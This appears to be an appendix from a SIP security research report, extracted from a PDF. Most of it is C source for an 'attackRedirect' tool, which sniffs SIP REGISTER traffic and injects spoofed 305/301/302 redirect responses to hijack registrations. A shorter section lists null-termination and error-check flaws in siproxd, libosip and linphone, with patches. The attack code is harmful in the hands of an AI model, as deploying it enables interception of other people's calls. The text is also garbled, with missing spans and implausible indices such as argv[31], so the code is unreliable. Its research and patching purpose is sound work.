   regerror(regerr, &preg[i], regerrbuf, 100); 
   printf("regexec[%d] error: %s\n", i, regerrbuf); 
   sucRegex[i] = 0; 
  } 
  else { 
   sucRegex[i] = 1; 
  } 
 } 
 
 //now parse results and place into REGISTER response for 
relocation. 
 if (DEBUG) { 
  for (i = 0; i < NUMSUBEX; i++) { 
   memcpy(temp2, temp + matches[i].rm_so, matches[i].rm_eo - 
matches[i].rm_so); 
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   temp2[matches[i].rm_eo-matches[i].rm_so] = '\0'; 
   if (DEBUG) { 
    printf("matches[%d] = %s\n", i, temp2); 
   } 
  } 
 } 
  
 //Now we go about constructing our 301 Permanently Moved response 
  
 char *output; 
 int outlen; 
 int redirOffset; 
 output = (char *) malloc (65536); 
 *output = '\0'; 
 outlen = 0; 
 memcpy(output+outlen, "SIP/", 4); 
 outlen += 4; 
 memcpy(output+outlen, temp + matches[10].rm_so, matches[10].rm_eo - 
matches[10].rm_so); 
 outlen += matches[10].rm_eo - matches[10].rm_so; 
 redirOffset = outlen + 1; 
 //add in extra spaces after proxy to allow us to substitute in 301 
and 302 messages later 
 memcpy(output+outlen, " 305 Use Proxy        \r\n", 24); 
 outlen += 24; 
 foo.ipint = ip->src_addr; 
  
 memcpy(output+outlen, temp + matches[15].rm_so, matches[15].rm_eo - 
matches[15].rm_so); 
 outlen += matches[15].rm_eo - matches[15].rm_so; 
 outlen += snprintf(output+outlen, 26, 
";received=%hhu.%hhu.%hhu.%hhu", foo.dots[0], foo.dots[31], 
foo.dots[10], foo.dots[20]); 
 memcpy(output+outlen, "\r\n", 2); 
 outlen +=2; 
  
 //copy FROM, TO, CSEQ, Call-ID 
 int a[] = {3,5,7,9,18}; 
 for (i = 0; i < 5; i++) 
 { 
  if (sucRegex[subexarray[a[i]]]) { 
   memcpy(output+outlen, temp + matches[a[i]].rm_so, 
matches[a[i]].rm_eo - matches[a[i]].rm_so); 
   outlen += matches[a[i]].rm_eo - matches[a[i]].rm_so; 
   memcpy(output+outlen, "\r\n", 2); 
   outlen +=2; 
  } 
 } 
  




 outlen += 43; 
 memcpy(output+outlen, "Content-Length: 0\r\n\r\n", 21); 
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 outlen += 21; 
  
 if (DEBUG) { 
  printf("Outgoing Message:\n%s\n", output); 
  printf("check lengths:%d %d\n", outlen, strlen(output)); 
 } 
  
 //Create response to message. 
 char* outgoing; 
 if (isUdp) { 
  outgoing = (char *) malloc(sizeof(struct eth_hdr) + sizeof(struct 
ip_hdr) + sizeof(struct udp_hdr) + outlen); 
 } 
 else { 
  outgoing = (char *) malloc(sizeof(struct eth_hdr) + sizeof(struct 
ip_hdr) + sizeof(struct tcp_hdr) + outlen); 
 } 
  
 struct eth_hdr *ethout, *eth; 
 struct ip_hdr *ipout; 
 struct udp_hdr *udpout; 
 struct tcp_hdr *tcpout; 
 int outpacklen = 0; 
 char *outptr; 
  
 ethout = (struct eth_hdr *) outgoing; 
 eth = (struct eth_hdr *) pkt; 
 memcpy(ethout->dst_mac, eth->src_mac, 6); 
 memcpy(ethout->src_mac, eth->dst_mac, 6); 
 ethout->ethertype = eth->ethertype; 
 if (DEBUG) { 
  printf("Eth Copied\n"); 
 } 
 ipout = (struct ip_hdr *) (ethout + 1); 
 ipout->hl = 5; 
 ipout->ver = 4; 
 ipout->tos = ip->tos; 
 if (isUdp) { 
  ipout->totlen = htons(sizeof(struct ip_hdr) + sizeof(struct 
udp_hdr) + outlen); 
 } 
 else { 
  ipout->totlen = htons(sizeof(struct ip_hdr) + sizeof(struct 
tcp_hdr) + outlen); 
 } 
 ipout->ipid = htonl(htonl(ip->ipid)+32); 
 ipout->frag = 0; 
 ipout->ttl = 0xff; 
 ipout->proto = ip->proto; 
 ipout->cksum = 0; 
 ipout->src_addr = ip->dst_addr; 
 ipout->dst_addr = ip->src_addr; 
  
 if (DEBUG) { 




 if (isUdp) { 
  udpout = (struct udp_hdr *) (ipout + 1); 
  memcpy(udpout + 1, output, outlen); 
  outptr = (char *) (udpout + 1); 
  udpout->dst_port = udp->src_port; 
  udpout->src_port = udp->dst_port; 
  udpout->len = htons(sizeof(struct udp_hdr) + outlen); 
  udpout->cksum = 0; 
  udpout->cksum = udpchecksum(ipout, udpout, output); 
  outpacklen = sizeof(struct eth_hdr) + sizeof(struct ip_hdr) + 
sizeof(struct udp_hdr) + outlen; 
 } 
 else { 
  tcpout = (struct tcp_hdr *) (ipout + 1); 
  memcpy(tcpout + 1, output, outlen); 
  outptr = (char *) (tcpout + 1); 
  tcpout->src = tcp->dst; 
  tcpout->dst = tcp->src; 
  tcpout->seq = htonl(htonl(tcp->ack_seq)+1); 
  tcpout->ack_seq = htonl(htonl(tcp->seq)+datalen); 
  tcpout->res1 = 0; 
  tcpout->doff = 5; 
  tcpout->fin = 0; 
  tcpout->syn = 0; 
  tcpout->rst = 0; 
  tcpout->psh = 0; 
  tcpout->ack = 1; 
  tcpout->urg = 0; 
  tcpout->res2 = 0; 
  tcpout->window = 0xffff; 
  tcpout->cksum = 0; 
  tcpout->urg_ptr = 0; 
  tcpout->cksum = tcpchecksum(ipout, tcpout, output); 
  outpacklen = sizeof(struct eth_hdr) + sizeof(struct ip_hdr) + 
sizeof(struct tcp_hdr) + outlen; 
 } 
 ipout->cksum = checksum((unsigned char *)ipout, sizeof(struct 
ip_hdr)); 
  
 //write the packet to the wire 
 //open our bpf file and bind it to the interface 
 struct ifreq ifr; 
 int fd = -1; 
 char *bpfformat = "/dev/bpf%d"; 
 char bpfdev[19]; 
 strcpy(ifr.ifr_name, (char *) args); 
  
/* if (DEBUG) { 
  printf("Packet Output:\n"); 
  for (i = 0; i < 4; i++) { 
   for (j = 0; j < 16; j++) { 
    printf("0x%02hhx ", *(outgoing+j+(i*16))); 
   } 
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   printf("\n"); 
  } 
 } 
*/  
 for(i = 0; i < 10 && fd < 0; i++) { 
  sprintf(bpfdev, bpfformat, i); 
 // printf("%s\n", bpfdev); 
  fd = open(bpfdev, O_WRONLY, 0); 
 } 
 if (i == 10) { 
  printf("Error opening bpf for writing\n"); 
 } 
  
 //DOES NOT FUNCTION WITH MAC OS X BY DEFAULT 
 //lladdr by and large is irrelevant for our purposes as it 
shouldn't be an impact on 
 //which packets a receiving program interprets. 
/* if (ioctl(fd, BIOCSHDRCMPLT, 1) < 0) { 
  perror("Error modifying source link layer addr\n"); 
 } 
*/  
 if (ioctl(fd, BIOCSETIF, &ifr) < 0) { 
  perror("Error attaching to if device: "); 
 } 
 if (DEBUG) { 
  printf("Sent %d bytes\n", write(fd, outgoing, outpacklen)); 
  temp = "301 Moved Temporarily"; 
  memcpy(outptr + redirOffset, temp, strlen(temp)); 
  printf("Sent %d bytes part 2\n", write(fd, outgoing, 
outpacklen)); 
  temp = "302 Moved Permanently"; 
  memcpy(outptr + redirOffset, temp, strlen(temp)); 
  printf("Sent %d bytes part 3\n", write(fd, outgoing, 
outpacklen)); 
 } 
 else { 
  write(fd, outgoing, outpacklen); 
  temp = "301 Moved Temporarily"; 
  memcpy(outptr + redirOffset, temp, strlen(temp)); 
  write(fd, outgoing, outpacklen); 
  temp = "302 Moved Permanently"; 
  memcpy(outptr + redirOffset, temp, strlen(temp)); 
  write(fd, outgoing, outpacklen); 
 } 




int main(int argc, char** argv) 
{ 
 if (argc != 2) { 
  printf("Usage: ./attackRedirect [interface]\n"); 
  exit(-1); 
 } 
 //fork a child for the listener/hijacker 
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 if (fork()) { 
  //therefore child process, which we will make packet sniffer 
  return childmain(argc, argv); 
 } 
 //open listener for malicious client to connect to 
 int sock = socket(AF_INET, SOCK_STREAM, 0); 
 if (sock == -1) { 
  perror("Error creating socket"); 
  exit(-1); 
 } 
 struct sockaddr_in svr_addr; 
 memset(&svr_addr, 0, sizeof(svr_addr)); 
 svr_addr.sin_family = AF_INET; 
 svr_addr.sin_port = htons(SERVER_PORT); 
  
 //bind listener to port 
 if (bind(sock, (struct sockaddr*) &svr_addr, sizeof(svr_addr))) { 
  perror("Error binding socket"); 
  exit(-1); 
 } 
 //listen for incoming connections 
 listen (sock, 5); 
 int client; 
 struct sockaddr cli_addr; 
 unsigned int addrlen = sizeof(cli_addr); 
 char errbuf[PCAP_ERRBUF_SIZE]; 
 pcap_t *p; 
  
 //accept loop for incoming connection.  Accepts only one connection 
at a time. 






int childmain(int argc, char **argv) 
{ 
 //TODO: Add support for short form names 
 regex[0] = "REGISTER[ \t]*sip:([^ ]*) SIP/(2\\.0+)"; 
 regex[31] = "From[^ \t]*:([^\r\n]*)"; 
 regex[10] = "To[^ \t]*:([^\r\n]*)"; 
 regex[20] = "Call-ID[ \t]*:[ \t]*([^ \t\r\n]*)"; 
 regex[11] = "CSeq[ \t]*:[ \t]*([0-9]*)[ \t]*([a-zA-Z]*)"; 
 regex[35] = "Contact[ \t]*:[ \t]*([^\r\n]*)"; 
 regex[1] = "Content-Length[ \t]*:[ \t]*([0-9]*)"; 
 regex[8] = "Via[ \t]*:([^\r\n]*)"; 
 regex[18] = "Expires[ \t]*:([^\r\n]*)"; 
 regexviaip = "SIP/2\\.0+/(A-Za-z)?[ \t]*([^:; ]*)"; 
 regexviaport = ":([0-9]{1,5})[:; \r\n\t]"; 
  
 int i, j; 
 j = 0; 
  
 int regerr; 
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 char regerrbuf[120]; 
  
 //if true, error resulted from compile 
 for (i = 0; i < NUMREGEX; i++) 
 { 
  if(regerr = regcomp(&preg[i], regex[i] , REG_EXTENDED | 
REG_ICASE)) { 
   regerror(regerr, &preg[i], regerrbuf, 100); 
   printf("regcomp[%d] error: %s\n", i, regerrbuf); 
  } 
 } 
  
 //create array of regmatches 
 for (i = 0; i < NUMREGEX; i++) { 
  matchArray[i] = &matches[j]; 
  j+= preg[i].re_nsub + 1; 
 } 
  
 if (regerr = regcomp(&viapreg1, regexviaip, REG_EXTENDED | 
REG_ICASE)) { 
  regerror(regerr, &viapreg1, regerrbuf, 100); 
  printf("regexviaip error: %s\n", regerrbuf); 
 } 
  
 if (regerr = regcomp(&viapreg2, regexviaport, REG_EXTENDED | 
REG_ICASE)) { 
  regerror(regerr, &viapreg2, regerrbuf, 100); 
  printf("regexviaport error: %s\n", regerrbuf); 
 } 
 
 char errbuf[PCAP_ERRBUF_SIZE]; 
 errbuf[0] = 0; 
 char *iface = argv[31]; 
 pcap_t *p = pcap_open_live(iface, 0xFFFF, 1, 100, errbuf); 
 if (p == 0) { 
  printf("Error opening packet capture: %s\n", errbuf); 
  exit(-1); 
 } 
 
 if (errbuf[0] != 0) { 
  printf("Warning: %s\n", errbuf); 
 } 
  
 //apply filter 
 struct bpf_program filter; 
 //filter out non SIP packets 
 if (pcap_compile (p, &filter, "dst port 5060", 1, -1) == -1) { 
  printf("Error compiling filter: %s\n", pcap_geterr(p)); 
  exit(-1); 
 } 
  
 if (pcap_setfilter (p, &filter) == -1) { 
  printf("Error setting filter: %s\n", pcap_geterr(p)); 




 if (pcap_loop(p, -1, sip_cb, (u_char *) iface) == -1) { 
  printf("Packet read error: %s\n", pcap_geterr(p)); 





APPENDIX C:  IMPLEMENTATION VULNERABILITIES 
SIPROXD: 
Sip_layer.c 
int sip_message_to_str(osip_message_t * sip, char **dest, size_t *len) 
{ 
   int sts; 
   sts = osip_message_to_str(sip, dest, len); 
   /* 
    * NULL termination (libosip2-2.2.0 does NOT do this properly, 
    * there is always one byte too much :-( ) 
    */ 
   (*dest)[*len]='\0'; 
   return sts; 
} 
 
int sip_body_to_str(const osip_body_t * body, char **dest, size_t *len) 
{ 
   int sts; 
   sts = osip_body_to_str(body, dest, len); 
   /* 
    * NULL termination (libosip2-2.2.0 does NOT do this properly, 
    * there is always one byte too much :-( ) 
    */ 
   (*dest)[*len]='\0'; 
   return sts; 
sip_layer.c patch: 
43a44,46 
>  if (sts != OSIP_SUCCESS) { 
>   return sts; 
>  } 
54a58,60 
>  if (sts != OSIP_SUCCESS) { 
>   return sts; 







if (strlen (url->scheme) < 3 || 
      (0 != osip_strncasecmp (url->scheme, "sip", 3) 
       && 0 != osip_strncasecmp (url->scheme, "sips", 4))) 
    {                           /* Is not a sipurl ! */ 
      size_t i = strlen (tmp + 1); 
 
      if (i < 2) 
        return OSIP_SYNTAXERROR; 
      url->string = (char *) osip_malloc (i + 1); 
      if (url->string == NULL) 
        return OSIP_NOMEM; 
      osip_strncpy (url->string, tmp + 1, i); 
      return OSIP_SUCCESS; 
    } 
osip_uri.c patch: 
127,129d126 
<       size_t i = strlen (tmp + 1); 
<  
<       if (i < 2) 
131,135c128 
<       url->string = (char *) osip_malloc (i + 1); 
<       if (url->string == NULL) 
<         return OSIP_NOMEM; 
<       osip_strncpy (url->string, tmp + 1, i); 






_eXosip_event_fill_messages (eXosip_event_t * je, osip_transaction_t * 
tr) 
{ 
  int i; 
 
  if (tr != NULL && tr->orig_request != NULL) 
    { 
      i = osip_message_clone (tr->orig_request, &je->request); 
      if (i != 0) 
        { 
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          OSIP_TRACE (osip_trace (__FILE__, __LINE__, OSIP_ERROR, NULL, 
                                  "failed to clone request for 
event\n")); 
        } 
    } 
LINPHONE: 
Exevents.c: 
static void linphone_other_request(LinphoneCore *lc, eXosip_event_t *ev){ 
 ms_message("in linphone_other_request"); 
 if (ev->request==NULL) return; 
 if (strcmp(ev->request->sip_method,"MESSAGE")==0){ 
  linphone_core_text_received(lc,ev); 
  eXosip_message_send_answer(ev->tid,200,NULL); 
 }else if (strcmp(ev->request->sip_method,"OPTIONS")==0){ 
#if 1 
  osip_message_t *options=NULL; 
  eXosip_options_build_answer(ev->tid,200,&options); 
  osip_message_set_allow(options,"INVITE, ACK, BYE, CANCEL, 
OPTIONS, MESSAGE, SUBSCRIBE, NOTIFY, INFO"); 
exevents.c patch: 
997a998 
>  int i; 
1007,1009c1008,1012 
<   osip_message_set_allow(options,"INVITE, ACK, BYE, CANCEL, 
OPTIONS, MESSAGE, SUBSCRIBE, NOTIFY, INFO"); 
<   osip_message_set_accept(options,"application/sdp"); 
<   eXosip_options_send_answer(ev->tid,200,options); 
--- 
>   if (!i) { 
>    osip_message_set_allow(options,"INVITE, ACK, BYE, 
CANCEL, OPTIONS, MESSAGE, SUBSCRIBE, NOTIFY, INFO"); 
>    osip_message_set_accept(options,"application/sdp"); 
>    eXosip_options_send_answer(ev->tid,200,options); 
>   } 
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